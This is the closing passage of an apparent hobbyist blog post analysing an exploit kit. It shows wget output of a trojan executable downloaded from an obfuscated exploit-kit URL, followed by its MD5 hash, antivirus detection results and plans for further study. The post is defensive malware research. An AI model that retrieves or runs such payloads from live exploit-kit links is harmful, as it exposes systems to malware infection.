  Content-Length: 62072
  Keep-Alive: timeout=15
  Connection: Keep-Alive
Length: 62072 (61K) [application/x-msdownload]
Saving to: `q.php?gtfsgben=1h:1k:1i:30:1j&nueini=1g:1n:32:33:1n:1n:1n:2v:31:1o&lmjognd=1h&wesjtyu=inlis&qoewm=ykqn'

     0K .......... .......... .......... .......... .......... 82% 55.1K 0s
    50K ..........                                            100% 88.8K=1.0s

  (59.0 KB/s) - `q.php?gtfsgben=1h:1k:1i:30:1j&nueini=1g:1n:32:33:1n:1n:1n:2v:31:1o&lmjognd=1h&wesjtyu=inlis&qoewm=ykqn' saved [62072/62072] 

EXE file: about.exe (my name 9_3.dll)
MD5: 812c4d5a6312cd8a0430282a04c97ea5
Virustotal: 16/45
ClamAV: Not infected

Probaly a trojan.

7. Done?


Further analyzis could be to infect a client with the trojan and see what that does. No time for that today :( hopefully som other day...


Happy to take feedback on errors, hints to make it better...


Happy EK Fighting :)

Post publish reading:
sucuriBlog - "Auto Generated Iframes To Blackhole Exploit Kit – Following the Cookie Trail"